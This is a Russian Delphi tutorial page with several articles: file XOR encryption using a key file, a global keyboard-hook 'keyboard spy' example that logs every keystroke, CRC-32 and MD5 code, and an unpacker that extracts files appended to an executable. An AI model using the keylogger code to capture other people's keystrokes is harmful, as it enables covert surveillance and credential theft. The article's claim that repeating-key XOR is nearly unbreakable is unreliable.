{ spgpKeyIO - Key import/export functions                                }  
function spgpkeyexport(pKeyID,BufferOut: PChar;BufferOutLen,ExportPrivate,  
  ExportCompatible: LongInt):LongInt;  
function spgpkeyexportfile(pKeyID,FileOut: PChar; ExportPrivate,ExportCompatible:  
  LongInt):LongInt;  
function spgpkeyimport(BufferIn,KeyProps: PChar; KeyPropsLen: LongInt):LongInt;  
function spgpkeyimportfile(FileIn,KeyProps: PChar; KeyPropsLen: LongInt):LongInt;  

Автор: Евгений Дадыков

Добавлено: 31 Июля 2018 08:36:39 Добавил: Андрей Ковальчук

Шифруем файл с помощью другого файла

Здравствуйте, уважаемые читатели моей очередной статьи.
В прошлой статье я вам рассказывал, как можно зашифровать файл с помощью пароля. Разумеется, чем длиннее пароль, тем труднее расшифровать файл. Давайте попробуем сосчитать, сколько времени нам потребуется на расшифровку такого файла. Допустим, что если пароль имеет размер 10 символов и допустим, что если мы попробовали расшифровать файл с верным паролем, то мы сразу поймём что это файл оригинальный (хотя это условие не обязательно потому что, расшифровывая файл мы не знаем что должно быть в оригинале, но в данном случае мы знаем что в оригинале и нам надо узнать только пароль).

Сосчитаем:
Один символ пароля может принимать примерно 160 значений это примерно столько значений, сколько мы можем ввести с клавиатуры (26 +26 английский алфавит, 33+33 русский алфавит + ~22 дополнительный символы+10 цифр).

Следовательно, количество попыток равно 160 в степени 10 это число 5766503906250000000000, и если за одну секунду делается 10 попыток, то нам потребуется 24610789412122 лет чтобы узнать пароль и это с тем учётом, что мы знаем длину пароля. Почти невозможно…. Это только, кажется что сложно. Но даже если пароль имеет 30 символов, а файл 1 МВ, то, имея некоторую сноровку можно заметить повторы через каждые 30 байт, а там и найти пароль нетрудно. >

Единственный выход это увеличивать длину пароля. А что если пароль будет представлять собой файл длиной несколько сотен килобайт. Объясняю для тех, кто не понял. Символы для пароля мы брать из файла, и теперь уже каждый символ пароля будет принимать не только 160 значений, а все от 0 до 255, т.е. 256 значений, а длина пароля будет равна размеру файла в байтах.

Итак, перейдём к практике. В процедурах шифровки расшифровки я буду использовать технику файлового мэпинга. Мы все знаем что когда программы используют слишком больше памяти чем есть на компьютере, то система сбрасывает лишнюю память на диск в файл подкачки. А когда происходит попытка обращения к сброшенной памяти, то система загружает с диска память обратно, а другую память, которая давно не использовалась, скидывает на диск. А при использовании техники мэпинга, мы как будто говорим системе, что данную область памяти не надо выгружать в файл подкачки, а надо выгружать в нужный нам файл. При создании такой области памяти мы файл полностью отображается на память, и при изменении этой области памяти изменяется файл.

Для увеличения скорости работы процедуры шифровать (и расшифровывать) я буду в ассемблерных вставках. А работать с файлами используя ассемблер очень трудно, поэтому я и использую мэпинг потому что файлы отображаются на память. А работать с памятью на ассемблере легче.

Чтобы создать область памяти надо сначала создать mapped объект с помощью функции CreateFileMapping. Вот описание функции из MS SDK

HANDLE CreateFileMapping( 
HANDLE hFile,// хендл файла для мэпинга 
LPSECURITY_ATTRIBUTES lpFileMappingAttributes,//атрибуты безопасности 
DWORD flProtect,//флаги доступа к объекту 
DWORD dwMaximumSizeHigh,//максимальный размер (старший) 
DWORD dwMaximumSizeLow,//максимальный размер (младший) 
LPCTSTR lpName //имя объекта 
);


Для того чтобы отобразить файл на память используется функция MapViewOfFile

LPVOID MapViewOfFile( 
HANDLE hFileMappingObject,//хендл созданного объекта 
DWORD dwDesiredAccess,// уровень доступа 
DWORD dwFileOffsetHigh,//смещение начала проецирования (старшее) 
DWORD dwFileOffsetLow,// смещение начала проецирования (младшее) 
DWORD dwNumberOfBytesToMap// размер проецирования 
);


Эта функция возвратит начальный адрес мэпинга, т.е. возвратит адрес первого байта файла в памяти. Короче смотрим всё на примере.


Function FlCriptFile(  
SourceFile:string;  
DestFile:string;  
PSWFileName:string;  
Flags:DWORD  
):boolean;  
var  
  DestHFile,SourceHFile,PSWHFile,BackupHFile:THandle;  
  SourceMH,PSWMH:THandle;  
  SourceFileSize,PSWSize:DWORD;  
  SourceMMFAddr,PSWMMFAddr:pointer;  
  
begin  
  Result:=False;  
    
  ACF_AutoRename :=(Flags and CF_AutoRename) = CF_AutoRename;  
  ACF_DeleteSource :=(Flags and CF_DeleteSource) = CF_DeleteSource;  
  ACF_Dest_NOT_CREATE:=(Flags and CF_Dest_NOT_CREATE)= CF_Dest_NOT_CREATE;  
  ACF_ShowProgress :=(Flags and CF_ShowProgress) = CF_ShowProgress;  
   //пользуемся теми же флагами что в предыдущей статье  
  if ACF_AutoRename then  
  begin  
    DestFile:=SourceFile+'.cript';  
    ACF_Dest_NOT_CREATE:=false;  
  end;  
   if ACF_Dest_NOT_CREATE then  
   begin  
     DestFile:='D:D9D8F57C3274EF3A6E7C5D5B27ADCF0.dat';  
     ACF_DeleteSource:=false;  
  end; //думаю что это понятно  
  
SourceHFile:=CreateFile(pchar(SourceFile),GENERIC_READ,FILE_SHARE_READ,nil,OPEN_EXISTING,0,0);  
if SourceHFile=INVALID_HANDLE_VALUE then Exit;  
SourceFileSize:=GetFileSize(SourceHFile,nil);  
CloseHandle(SourceHFile);  
{открываем, получаем размер исходного файла, закрываем файл}  
  
PSWHFile:=CreateFile(pchar(PSWFileName),GENERIC_READ,FILE_SHARE_READ,nil,OPEN_EXISTING,0,0);  
if PSWHFile=INVALID_HANDLE_VALUE then Exit;  
PSWSize:=GetFileSize(PSWHFile,nil);  
  
DeleteFile(BackupFileName);  
{удаляем промежуточный файл если он есть и копируем исходный файл в него, задайте имя исходного файла в разделе const}  
CopyFile(pchar(SourceFile),pchar(BackupFileName),False);  
  
BackupHFile:=CreateFile(pchar(BackupFileName),GENERIC_READ+GENERIC_WRITE,FILE_SHARE_READ,nil,OPEN_EXISTING,0,0);  
if BackupHFile=INVALID_HANDLE_VALUE then Exit;  
{открываем промежуточный файл}  
///---------------   

Далее создаём объекты мэпинга и проецируем файлы на память. Обратите внимание на атрибуты доступа, давать слишком много доступа тоже не очень хорошо. Имена для объектов мы не задаём т.к. нам не надо что бы этим объектом не пользовались другие процессы. Это не опечатка, используя файловый мэпинг разные процессы могут общаться между собой. Открыв объект с помощью функции OpenFileMapping передав ей, имя объекта и атрибуты доступа, процессы разделяют между собой одну память, при этом, если один процесс изменяет эту память у себя она автоматически изменяется у другого процесса (но не увлекайтесь этой возможностью, потому что без синхронизации процессы быстро зависнут).


SourceMH:=CreateFileMapping(BackupHFile,0,PAGE_READWRITE,0,SourceFileSize,'');  
if SourceMH=0 then exit;  
  
PSWMH:=CreateFileMapping(PSWHFile,0,PAGE_READONLY,0,PSWSize,'');  
if PSWMH=0 then exit;  
  
SourceMMFAddr:=MapViewOfFile(SourceMH,FILE_MAP_ALL_ACCESS,0,0,SourceFileSize);  
if DWORD(SourceMMFAddr) = 0 then exit;  
  
PSWMMFAddr:=MapViewOfFile(PSWMH,FILE_MAP_READ,0,0,PSWSize);  
if DWORD(PSWMMFAddr) = 0 then exit;  
  
   asm  
    pushad // сохраняем все регистры в стеке  
    mov esi, SourceMMFAddr  
    mov edi, PSWMMFAddr  
    mov ecx, SourceFileSize  
    mov ebx, PSWSize  
    add ebx, edi  
    xor edx, edx // edx=0  
      
  @_loop:  
    mov al, byte ptr [edi]  
    xor byte ptr [esi], al  
      
     inc edi//увеличиваем позицию в пароле  
     cmp edi, ebx  
{если мы вышли за границу пароля, то возвращаемся к началу пароля}  
     jl @_next  
     mov edi, PSWMMFAddr  
     @_next:  
      
     inc esi  
     loop @_loop  
     Popad // возвращаем регисры  
   end;  
  
   UnmapViewOfFile(PSWMMFAddr);//анмэпим  
   UnmapViewOfFile(SourceMMFAddr); //анмэпим  
{закрываем хендлы, но главное не нарушить порядок}  
  if not CloseHandle(SourceMH) then exit;  
  if not CloseHandle(PSWMH) then exit;  
  CloseHandle(BackupHFile);  
  CloseHandle(PSWHFile);  

Заметьте, для того чтобы закрыть хендлы надо сначала анмепить память, в которую мы спроецировали наши файлы. Для этого надо передать функции UnmapViewOfFile базовый адрес мэпинга. Во время работы с промэпированной памятью файл может и не измениться, потому что эта область памяти может ни разу не выгрузиться на диск. Функция UnmapViewOfFile полностью выгружает эту память в файл и высвобождает её. Далее идёт копирование промежуточного файла в файл, который был передан нашей функции через параметр DestFile и его последующее удаление. Потом файлы обрабатывают согласно переданным флагам.


  ///---------------  
  CopyFile(pchar(BackupFileName),pchar(DestFile),false);  
  DeleteFile(BackupFileName);  
    
  if ACF_DeleteSource then  
     DeleteFile(pchar(SourceFile));  
  if ACF_Dest_NOT_CREATE then  
  begin  
    if not DeleteFile(pchar(SourceFile))then exit;  
    CopyFile(pchar(DestFile),pchar(SourceFile),false);  
    if not DeleteFile(pchar(DestFile)) then exit;  
  end;  
  Result:=true;  
End;   

У данной методики есть некоторые ограничения. Так как в Windows каждому процессу дается область памяти в диапазоне 10000h-7FFFFFFFh, это примерно 2047 МВ, минус ту память, которую занимают системные DLL и сама программа, в среднем 20 МВ. Размер файла-пароля плюс размер исходного файла не должны превышать ~2020 МВ.

Функция дешифрования почти полностью идентичная за некоторым отличием обработки флагов. Вот описание функции:


Function FlDeCriptFile(  
                              SourceFile:string;  
                                DestFile:string;  
                                PSWFileName:string;   
                                 Flags:DWORD   
                                               ):boolean;   

Полностью код этой функции смотрите в исходнике FileCript.pas там же есть функции шифровки файла с помощью пароля. Кидаем этот модуль в "расшаренную" для Delphi папку и пользуемся модулем на здоровье.

На последок расскажу о преимуществах данной методики над методикой шифровки файла с помощью пароля. Любой пароль можно запомнить каким бы он и был (например, пароль с рожицей в центре: P@S:-|sVVorDdD), пароль можно записать на бумажке. А файл мы никогда не сможем записать на бумажке тем более если он имеет размер ~800 КВ. И потеряв файл-пароль мы теряем и зашифрованный файл потому расшифровать такой файл почти невозможно.

Вот и всё!

Добавлено: 26 Июля 2018 21:05:15 Добавил: Андрей Ковальчук

Клавиатурный шпион (пример на delphi)


library kbdhook;  
uses sysutils, windows, messages;  
const  
swm_kbdhook = 'swm_kbdhook';  
var  
wm_kbdhook : integer = 0;  
var  
hookhandle : thandle = 0;  
  
function keyboardproc(  
code: integer; // hook code  
wparam: wparam; // virtual-key code  
lparam: lparam): // keystroke-message information  
lresult stdcall;  
begin  
if code < 0 then  
result := callnexthookex( hookhandle, code, wparam, lparam )  
else begin  
postmessage( hwnd_broadcast, wm_kbdhook, wparam, lparam );  
result := 0  
end;  
end;  
  
function hookkeyboard( hook : boolean ) : boolean; stdcall;  
begin  
result := false;  
if hook then begin  
if hookhandle = 0 then  
hookhandle := setwindowshookex( wh_keyboard, keyboardproc, hinstance,  
0 );  
result := ( hookhandle <> 0 );  
end else begin  
if hookhandle <> 0 then begin  
unhookwindowshookex( hookhandle );  
hookhandle := 0;  
result := true;  
end;  
end;  
end;  
  
exports  
keyboardproc index 1,  
hookkeyboard index 2;  
  
begin  
wm_kbdhook := registerwindowmessage( swm_kbdhook );  
end.  
  
// ---------------------------------------------------------------------  
  
unit unit1;  
  
interface  
  
uses  
windows, messages, sysutils, classes, graphics, controls, forms, dialogs,  
stdctrls;  
  
const  
swm_kbdhook = 'swm_kbdhook';  
  
var  
wm_kbdhook : integer = 0;  
  
type  
tform1 = class(tform)  
checkbox1: tcheckbox;  
memo1: tmemo;  
procedure checkbox1click(sender: tobject);  
procedure formdestroy(sender: tobject);  
procedure formcreate(sender: tobject);  
private  
{ private declarations }  
procedure apponmessage( var msg: tmsg; var handled: boolean);  
public  
{ public declarations }  
end;  
  
var  
form1: tform1;  
  
implementation  
  
{$r *.dfm}  
  
function keyboardproc(  
code: integer; // hook code  
wparam: wparam; // virtual-key code  
lparam: lparam): // keystroke-message information  
lresult stdcall;  
external 'kbdhook.dll' index 1;  
  
function hookkeyboard(  
hook : boolean ) : boolean; stdcall;  
external 'kbdhook.dll' index 2;  
  
procedure tform1.apponmessage( var msg: tmsg; var handled: boolean);  
begin  
if msg.message = wm_kbdhook then begin  
memo1.lines.add( format( 'keycode=%d flags=%d', [msg.wparam,  
msg.lparam] ) );  
handled := true;  
end;  
end;  
  
procedure tform1.checkbox1click(sender: tobject);  
begin  
if not hookkeyboard( ( sender as tcheckbox ).checked )  
then caption := 'error';  
end;  
  
procedure tform1.formdestroy(sender: tobject);  
begin  
hookkeyboard( false );  
end;  
  
procedure tform1.formcreate(sender: tobject);  
begin  
wm_kbdhook := registerwindowmessage( swm_kbdhook );  
application.onmessage := apponmessage;  
end;  
  
end.  

Автор: Тенцер А.Л.

Добавлено: 26 Июля 2018 20:45:07 Добавил: Андрей Ковальчук

Как вычислить CRC-32 для файла?


// the constants here are for the crc-32 generator  
// polynomial, as defined in the microsoft  
// systems journal, march 1995, pp. 107 - 108  
  
const  
table: array[0..255] of dword =  
($00000000, $77073096, $ee0e612c, $990951ba,  
$076dc419, $706af48f, $e963a535, $9e6495a3,  
$0edb8832, $79dcb8a4, $e0d5e91e, $97d2d988,  
$09b64c2b, $7eb17cbd, $e7b82d07, $90bf1d91,  
$1db71064, $6ab020f2, $f3b97148, $84be41de,  
$1adad47d, $6ddde4eb, $f4d4b551, $83d385c7,  
$136c9856, $646ba8c0, $fd62f97a, $8a65c9ec,  
$14015c4f, $63066cd9, $fa0f3d63, $8d080df5,  
$3b6e20c8, $4c69105e, $d56041e4, $a2677172,  
$3c03e4d1, $4b04d447, $d20d85fd, $a50ab56b,  
$35b5a8fa, $42b2986c, $dbbbc9d6, $acbcf940,  
$32d86ce3, $45df5c75, $dcd60dcf, $abd13d59,  
$26d930ac, $51de003a, $c8d75180, $bfd06116,  
$21b4f4b5, $56b3c423, $cfba9599, $b8bda50f,  
$2802b89e, $5f058808, $c60cd9b2, $b10be924,  
$2f6f7c87, $58684c11, $c1611dab, $b6662d3d,  
  
$76dc4190, $01db7106, $98d220bc, $efd5102a,  
$71b18589, $06b6b51f, $9fbfe4a5, $e8b8d433,  
$7807c9a2, $0f00f934, $9609a88e, $e10e9818,  
$7f6a0dbb, $086d3d2d, $91646c97, $e6635c01,  
$6b6b51f4, $1c6c6162, $856530d8, $f262004e,  
$6c0695ed, $1b01a57b, $8208f4c1, $f50fc457,  
$65b0d9c6, $12b7e950, $8bbeb8ea, $fcb9887c,  
$62dd1ddf, $15da2d49, $8cd37cf3, $fbd44c65,  
$4db26158, $3ab551ce, $a3bc0074, $d4bb30e2,  
$4adfa541, $3dd895d7, $a4d1c46d, $d3d6f4fb,  
$4369e96a, $346ed9fc, $ad678846, $da60b8d0,  
$44042d73, $33031de5, $aa0a4c5f, $dd0d7cc9,  
$5005713c, $270241aa, $be0b1010, $c90c2086,  
$5768b525, $206f85b3, $b966d409, $ce61e49f,  
$5edef90e, $29d9c998, $b0d09822, $c7d7a8b4,  
$59b33d17, $2eb40d81, $b7bd5c3b, $c0ba6cad,  
  
$edb88320, $9abfb3b6, $03b6e20c, $74b1d29a,  
$ead54739, $9dd277af, $04db2615, $73dc1683,  
$e3630b12, $94643b84, $0d6d6a3e, $7a6a5aa8,  
$e40ecf0b, $9309ff9d, $0a00ae27, $7d079eb1,  
$f00f9344, $8708a3d2, $1e01f268, $6906c2fe,  
$f762575d, $806567cb, $196c3671, $6e6b06e7,  
$fed41b76, $89d32be0, $10da7a5a, $67dd4acc,  
$f9b9df6f, $8ebeeff9, $17b7be43, $60b08ed5,  
$d6d6a3e8, $a1d1937e, $38d8c2c4, $4fdff252,  
$d1bb67f1, $a6bc5767, $3fb506dd, $48b2364b,  
$d80d2bda, $af0a1b4c, $36034af6, $41047a60,  
$df60efc3, $a867df55, $316e8eef, $4669be79,  
$cb61b38c, $bc66831a, $256fd2a0, $5268e236,  
$cc0c7795, $bb0b4703, $220216b9, $5505262f,  
$c5ba3bbe, $b2bd0b28, $2bb45a92, $5cb36a04,  
$c2d7ffa7, $b5d0cf31, $2cd99e8b, $5bdeae1d,  
  
$9b64c2b0, $ec63f226, $756aa39c, $026d930a,  
$9c0906a9, $eb0e363f, $72076785, $05005713,  
$95bf4a82, $e2b87a14, $7bb12bae, $0cb61b38,  
$92d28e9b, $e5d5be0d, $7cdcefb7, $0bdbdf21,  
$86d3d2d4, $f1d4e242, $68ddb3f8, $1fda836e,  
$81be16cd, $f6b9265b, $6fb077e1, $18b74777,  
$88085ae6, $ff0f6a70, $66063bca, $11010b5c,  
$8f659eff, $f862ae69, $616bffd3, $166ccf45,  
$a00ae278, $d70dd2ee, $4e048354, $3903b3c2,  
$a7672661, $d06016f7, $4969474d, $3e6e77db,  
$aed16a4a, $d9d65adc, $40df0b66, $37d83bf0,  
$a9bcae53, $debb9ec5, $47b2cf7f, $30b5ffe9,  
$bdbdf21c, $cabac28a, $53b39330, $24b4a3a6,  
$bad03605, $cdd70693, $54de5729, $23d967bf,  
$b3667a2e, $c4614ab8, $5d681b02, $2a6f2b94,  
$b40bbe37, $c30c8ea1, $5a05df1b, $2d02ef8d);  
  
type  
//----------------------------------crc32----------------------------------  
{$ifdef ver130} // this is a bit awkward  
// 8-byte integer  
tinteger8 = int64; // delphi 5  
{$else}  
{$ifdef ver120}  
tinteger8 = int64; // delphi 4  
{$else}  
tinteger8 = comp; // delphi 2 or 3  
{$endif}  
{$endif}  
//----------------------------------crc32----------------------------------  
  
  
// use calccrc32 as a procedure so crcvalue can be passed in but  
// also returned. this allows multiple calls to calccrc32 for  
// the "same" crc-32 calculation.  
procedure calccrc32(p: pointer; bytecount: dword; var crcvalue: dword);  
// the following is a little cryptic (but executes very quickly).  
// the algorithm is as follows:  
// 1. exclusive-or the input byte with the low-order byte of  
// the crc register to get an index  
// 2. shift the crc register eight bits to the right  
// 3. exclusive-or the crc register with the contents of table[index]  
// 4. repeat steps 1 through 3 for all bytes  
var  
i: dword;  
q: ^byte;  
begin  
q := p;  
for i := 0 to bytecount - 1 do  
begin  
crcvalue := (crcvalue shr 8) xor  
table[q^ xor (crcvalue and $000000ff)];  
inc(q)  
end  
end {calccrc32};  
  
function calcstringcrc32(s: string; out crc32: dword): boolean;  
var  
crc32table: dword;  
begin  
// verify the table used to compute the crcs has not been modified.  
// thanks to gary williams for this suggestion, jan. 2003.  
crc32table := $ffffffff;  
calccrc32(addr(table[0]), sizeof(table), crc32table);  
crc32table := not crc32table;  
  
if crc32table <> $6fcf9e13 then showmessage('crc32 table crc32 is ' +  
inttohex(crc32table, 8) +  
', expecting $6fcf9e13')  
else  
begin  
crc32 := $ffffffff; // to match pkzip  
if length(s) > 0 // avoid access violation in d4  
then calccrc32(addr(s[1]), length(s), crc32);  
crc32 := not crc32; // to match pkzip  
end;  
end;  
  
procedure calcfilecrc32(fromname: string; var crcvalue: dword;  
var totalbytes: tinteger8;  
var error: word);  
var  
stream: tmemorystream;  
begin  
error := 0;  
crcvalue := $ffffffff;  
stream := tmemorystream.create;  
try  
try  
stream.loadfromfile(fromname);  
if stream.size > 0 then calccrc32(stream.memory, stream.size, crcvalue)  
except  
on e: ereaderror do  
error := 1  
end;  
crcvalue := not crcvalue  
finally  
stream.free  
end;  
end;  
  
procedure tform1.button1click(sender: tobject);  
var  
s: string;  
crc32: dword;  
begin  
s := 'test string';  
if calcstringcrc32(s, crc32) then  
showmessage(inttostr(crc32));  
end;

Добавлено: 26 Июля 2018 20:42:15 Добавил: Андрей Ковальчук

Алгоритм MD5

Алгоритм md5, Нахождение 128 битного хэша


function md5(s:string):string;  
var a:array[0..15] of byte;  
i:integer;  
  
lenhi, lenlo: longword;  
index: dword;  
hashbuffer: array[0..63] of byte;  
currenthash: array[0..3] of dword;  
  
procedure burn;  
begin  
lenhi:= 0; lenlo:= 0;  
index:= 0;  
fillchar(hashbuffer,sizeof(hashbuffer),0);  
fillchar(currenthash,sizeof(currenthash),0);  
end;  
  
procedure init;  
begin  
burn;  
currenthash[0]:= $67452301;  
currenthash[1]:= $efcdab89;  
currenthash[2]:= $98badcfe;  
currenthash[3]:= $10325476;  
end;  
  
function lrot32(a, b: longword): longword;  
begin  
result:= (a shl b) or (a shr (32-b));  
end;  
  
procedure compress;  
var  
data: array[0..15] of dword;  
a, b, c, d: dword;  
begin  
move(hashbuffer,data,sizeof(data));  
a:= currenthash[0];  
b:= currenthash[1];  
c:= currenthash[2];  
d:= currenthash[3];  
  
a:= b + lrot32(a + (d xor (b and (c xor d))) + data[ 0] + $d76aa478,7);  
d:= a + lrot32(d + (c xor (a and (b xor c))) + data[ 1] + $e8c7b756,12);  
c:= d + lrot32(c + (b xor (d and (a xor b))) + data[ 2] + $242070db,17);  
b:= c + lrot32(b + (a xor (c and (d xor a))) + data[ 3] + $c1bdceee,22);  
a:= b + lrot32(a + (d xor (b and (c xor d))) + data[ 4] + $f57c0faf,7);  
d:= a + lrot32(d + (c xor (a and (b xor c))) + data[ 5] + $4787c62a,12);  
c:= d + lrot32(c + (b xor (d and (a xor b))) + data[ 6] + $a8304613,17);  
b:= c + lrot32(b + (a xor (c and (d xor a))) + data[ 7] + $fd469501,22);  
a:= b + lrot32(a + (d xor (b and (c xor d))) + data[ 8] + $698098d8,7);  
d:= a + lrot32(d + (c xor (a and (b xor c))) + data[ 9] + $8b44f7af,12);  
c:= d + lrot32(c + (b xor (d and (a xor b))) + data[10] + $ffff5bb1,17);  
b:= c + lrot32(b + (a xor (c and (d xor a))) + data[11] + $895cd7be,22);  
a:= b + lrot32(a + (d xor (b and (c xor d))) + data[12] + $6b901122,7);  
d:= a + lrot32(d + (c xor (a and (b xor c))) + data[13] + $fd987193,12);  
c:= d + lrot32(c + (b xor (d and (a xor b))) + data[14] + $a679438e,17);  
b:= c + lrot32(b + (a xor (c and (d xor a))) + data[15] + $49b40821,22);  
  
a:= b + lrot32(a + (c xor (d and (b xor c))) + data[ 1] + $f61e2562,5);  
d:= a + lrot32(d + (b xor (c and (a xor b))) + data[ 6] + $c040b340,9);  
c:= d + lrot32(c + (a xor (b and (d xor a))) + data[11] + $265e5a51,14);  
b:= c + lrot32(b + (d xor (a and (c xor d))) + data[ 0] + $e9b6c7aa,20);  
a:= b + lrot32(a + (c xor (d and (b xor c))) + data[ 5] + $d62f105d,5);  
d:= a + lrot32(d + (b xor (c and (a xor b))) + data[10] + $02441453,9);  
c:= d + lrot32(c + (a xor (b and (d xor a))) + data[15] + $d8a1e681,14);  
b:= c + lrot32(b + (d xor (a and (c xor d))) + data[ 4] + $e7d3fbc8,20);  
a:= b + lrot32(a + (c xor (d and (b xor c))) + data[ 9] + $21e1cde6,5);  
d:= a + lrot32(d + (b xor (c and (a xor b))) + data[14] + $c33707d6,9);  
c:= d + lrot32(c + (a xor (b and (d xor a))) + data[ 3] + $f4d50d87,14);  
b:= c + lrot32(b + (d xor (a and (c xor d))) + data[ 8] + $455a14ed,20);  
a:= b + lrot32(a + (c xor (d and (b xor c))) + data[13] + $a9e3e905,5);  
d:= a + lrot32(d + (b xor (c and (a xor b))) + data[ 2] + $fcefa3f8,9);  
c:= d + lrot32(c + (a xor (b and (d xor a))) + data[ 7] + $676f02d9,14);  
b:= c + lrot32(b + (d xor (a and (c xor d))) + data[12] + $8d2a4c8a,20);  
  
a:= b + lrot32(a + (b xor c xor d) + data[ 5] + $fffa3942,4);  
d:= a + lrot32(d + (a xor b xor c) + data[ 8] + $8771f681,11);  
c:= d + lrot32(c + (d xor a xor b) + data[11] + $6d9d6122,16);  
b:= c + lrot32(b + (c xor d xor a) + data[14] + $fde5380c,23);  
a:= b + lrot32(a + (b xor c xor d) + data[ 1] + $a4beea44,4);  
d:= a + lrot32(d + (a xor b xor c) + data[ 4] + $4bdecfa9,11);  
c:= d + lrot32(c + (d xor a xor b) + data[ 7] + $f6bb4b60,16);  
b:= c + lrot32(b + (c xor d xor a) + data[10] + $bebfbc70,23);  
a:= b + lrot32(a + (b xor c xor d) + data[13] + $289b7ec6,4);  
d:= a + lrot32(d + (a xor b xor c) + data[ 0] + $eaa127fa,11);  
c:= d + lrot32(c + (d xor a xor b) + data[ 3] + $d4ef3085,16);  
b:= c + lrot32(b + (c xor d xor a) + data[ 6] + $04881d05,23);  
a:= b + lrot32(a + (b xor c xor d) + data[ 9] + $d9d4d039,4);  
d:= a + lrot32(d + (a xor b xor c) + data[12] + $e6db99e5,11);  
c:= d + lrot32(c + (d xor a xor b) + data[15] + $1fa27cf8,16);  
b:= c + lrot32(b + (c xor d xor a) + data[ 2] + $c4ac5665,23);  
  
a:= b + lrot32(a + (c xor (b or (not d))) + data[ 0] + $f4292244,6);  
d:= a + lrot32(d + (b xor (a or (not c))) + data[ 7] + $432aff97,10);  
c:= d + lrot32(c + (a xor (d or (not b))) + data[14] + $ab9423a7,15);  
b:= c + lrot32(b + (d xor (c or (not a))) + data[ 5] + $fc93a039,21);  
a:= b + lrot32(a + (c xor (b or (not d))) + data[12] + $655b59c3,6);  
d:= a + lrot32(d + (b xor (a or (not c))) + data[ 3] + $8f0ccc92,10);  
c:= d + lrot32(c + (a xor (d or (not b))) + data[10] + $ffeff47d,15);  
b:= c + lrot32(b + (d xor (c or (not a))) + data[ 1] + $85845dd1,21);  
a:= b + lrot32(a + (c xor (b or (not d))) + data[ 8] + $6fa87e4f,6);  
d:= a + lrot32(d + (b xor (a or (not c))) + data[15] + $fe2ce6e0,10);  
c:= d + lrot32(c + (a xor (d or (not b))) + data[ 6] + $a3014314,15);  
b:= c + lrot32(b + (d xor (c or (not a))) + data[13] + $4e0811a1,21);  
a:= b + lrot32(a + (c xor (b or (not d))) + data[ 4] + $f7537e82,6);  
d:= a + lrot32(d + (b xor (a or (not c))) + data[11] + $bd3af235,10);  
c:= d + lrot32(c + (a xor (d or (not b))) + data[ 2] + $2ad7d2bb,15);  
b:= c + lrot32(b + (d xor (c or (not a))) + data[ 9] + $eb86d391,21);  
  
inc(currenthash[0],a);  
inc(currenthash[1],b);  
inc(currenthash[2],c);  
inc(currenthash[3],d);  
index:= 0;  
fillchar(hashbuffer,sizeof(hashbuffer),0);  
end;  
  
  
procedure update(const buffer; size: longword);  
var  
pbuf: ^byte;  
begin  
inc(lenhi,size shr 29);  
inc(lenlo,size*8);  
if lenlo< (size*8) then  
inc(lenhi);  
  
pbuf:= @buffer;  
while size> 0 do  
begin  
if (sizeof(hashbuffer)-index)<= dword(size) then  
begin  
move(pbuf^,hashbuffer[index],sizeof(hashbuffer)-index);  
dec(size,sizeof(hashbuffer)-index);  
inc(pbuf,sizeof(hashbuffer)-index);  
compress;  
end  
else  
begin  
move(pbuf^,hashbuffer[index],size);  
inc(index,size);  
size:= 0;  
end;  
end;  
end;  
  
procedure final(var digest);  
begin  
hashbuffer[index]:= $80;  
if index>= 56 then compress;  
pdword(@hashbuffer[56])^:= lenlo;  
pdword(@hashbuffer[60])^:= lenhi;  
compress;  
move(currenthash,digest,sizeof(currenthash));  
burn;  
end;  
  
  
begin  
init;  
update(s[1],length(s));  
final(a);  
result:='';  
for i:=0 to 15 do  
result:=result+inttohex(a[i],0);  
burn;  
end;  

Добавлено: 26 Июля 2018 20:38:00 Добавил: Андрей Ковальчук

Хранение нескольких различных файлов в одном исполняемом 2 (Анпакер)

В моей прошлой статье обсуждалась тема написания упаковщика (Packer), теперь же подробно остановимся на программе, котрая всё спрятанное будет из себя доставать. Но сначала я хотел бы обосновать своё мнение о личных форматах хранения информации, которое, возможно, было неправильно понято некоторыми читателями. Когда человек создаёт свой формат хранения информации, то только он знает как её оттуда достать. Большинство программ (например игровые) используют свои форматы хранения ресурсов (музыка, спрайты/текстуры, мультики). Быть может, взломать эти ресурсные файлы легче, так как можно декомпилить/дизассемблить исполняемый файл и понять, как и что прячет и достаёт программа, но я знаю очень мало людей способных это сделать. Если же использовать стандартные средства хранения (какой-нибудь архиватор), то любой более или менее опытный пользователь может посмотреть заголовок файла и по нему найти нужную "открывалку".

Теперь вернёмся к коду пакера. Для удобства я добавил в OnCreate формы следующую строчку:


procedure TForm1.FormCreate(Sender: TObject);  
begin  
 Edit3.Text:=ExtractFilePath(ParamStr(0))+'test.exe';  
end; 

Это сделано для удобства использования программы, так как до этого файл "Test.exe" кидался в последнюю открытую директорию и приходилось постоянно указывать путь. Так же надо добавить строчку в самый конец Button1Click


CloseFile(f2);  

Ну вот и всё, что качалось пакера. Осталось самое интересное - анпакер. Вот усовершенствованный код Unpacker'а с последующими комментариями:


program Unpacker;  
  
uses  
  Classes;  
  
const c=117248;  
  
var mem:TmemoryStream;  
    i:integer;  
    done:integer=0;  
    done1:integer;  
    f:file;  
    buf:array[1..2048] of byte;  
begin  
 mem:=TmemoryStream.Create;  
 mem.LoadFromFile(paramstr(0));  
 mem.Seek(c,soFromBeginning);  
 mem.ReadBuffer(i,sizeof(i));  
 assignfile(f,'temp1');  
 rewrite(f,1);  
 while i>=done+2048 do begin  
  done1:=mem.Read(buf,sizeof(buf));  
  blockwrite(f,buf,done1);  
  done:=done+done1;  
 end;  
 if i>done then begin  
                 done1:=mem.Read(buf,i-done);  
                 blockwrite(f,buf,done1);  
                end;  
 closefile(f);  
  
 done:=0;  
 mem.ReadBuffer(i,Sizeof(i));  
 assignfile(f,'temp2');  
 rewrite(f,1);  
 while i>done+2048 do begin  
  done1:=mem.Read(buf,sizeof(buf));  
  blockwrite(f,buf,done1);  
  done:=done+done1;  
 end;  
 if i>done then begin  
                 done1:=mem.Read(buf,i-done);  
                 blockwrite(f,buf,done1);  
                end;  
 CloseFile(f);  
  
 mem.Free;  
end.  

Одним из самых простых и эффективных методов работы с .exe файлами являются потоки. Тут всё просто. Сначала мы создаём поток, затем загружаем в него исполняемый файл. Далее следует очень важная строчка:


mem.Seek(c,soFromBeginning);
Константа "с" является размером анпакера. Значение 117248 было получено эксперементальным путём. Для этого компилим анпакер и смотрим его ТОЧНЫЙ (а не занимаемый) размер. Его-то и присвайваем "c". Далее мы считываем размер первого файла. Затем циклом копируем его содержимое "Temp1". Аналогично поступаем со вторым файлом. На выходе получаются два файла, которые мы дописали пакером в анпакер.

